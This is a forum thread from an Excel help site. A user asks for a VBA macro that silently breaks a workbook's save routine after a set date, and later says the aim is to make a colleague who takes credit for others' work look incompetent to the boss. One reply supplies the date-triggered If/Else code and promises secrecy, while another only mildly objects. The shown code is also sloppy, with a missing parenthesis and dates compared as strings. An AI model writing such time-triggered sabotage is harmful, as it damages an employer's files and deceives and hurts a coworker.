SSShhhh... Secret VB Code.

highndry

Board Regular
Joined
Nov 28, 2005
Messages
247
Is there any code out there that will alter the macro after certain period of time.

For example:

ChDir "S:\Acctg\CGIT\Management Summaries\FY2006"
ActiveWorkbook.SaveAs filename:= _
"S:\Acctg\CGIT\Management Summaries\FY2006\DashBoard-" & Range("B3").Value & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Could the above macro be turned to the following after January 30, 2006


ChDir "S:\dtyrh\gguf\fjfur\dndhjfj\"
Activenghtukyy.SaveAs jfhebhudsdjen:_
"S:\Acctg\CGIT\Management yhituyrhebgf\FY2006\DashBoard-" & Rangejjfurhrtgersf & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Thanks :biggrin: :biggrin: :biggrin:

No comment please.
 

Excel Facts

Highlight Duplicates
Home, Conditional Formatting, Highlight Cells, Duplicate records, OK to add pink formatting to any duplicates in selected range.
dim dateCk

dateck = format(now(),"mm/dd/yyyy"
Code:
If dateCk < "01/30/2006" Then

 ChDir "S:\Acctg\CGIT\Management Summaries\FY2006"
ActiveWorkbook.SaveAs filename:= _
"S:\Acctg\CGIT\Management Summaries\FY2006\DashBoard-" & Range("B3").Value & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False

Could the above macro be turned to the following after January 30, 2006

Else:
ChDir "S:\dtyrh\gguf\fjfur\dndhjfj\"
Activenghtukyy.SaveAs jfhebhudsdjen:_
"S:\Acctg\CGIT\Management yhituyrhebgf\FY2006\DashBoard-" & Rangejjfurhrtgersf & ".xls", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, _
CreateBackup:=False 

End If

I won't tell if you dont
 
Upvote 0
Probably not the best way to get a reference for your new job though. But if it is merely a practical joke for the new guy taking over your old job....
 
Upvote 0
I just want to teach this ungreatful guy a lesson. He likes to take credit for others work, so we shall see how he perform after Jan 30. Just enough for the Boss to know that he knows crap.
 
Upvote 0

Forum statistics

Threads
1,214,601
Messages
6,120,467
Members
448,965
Latest member
grijken

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top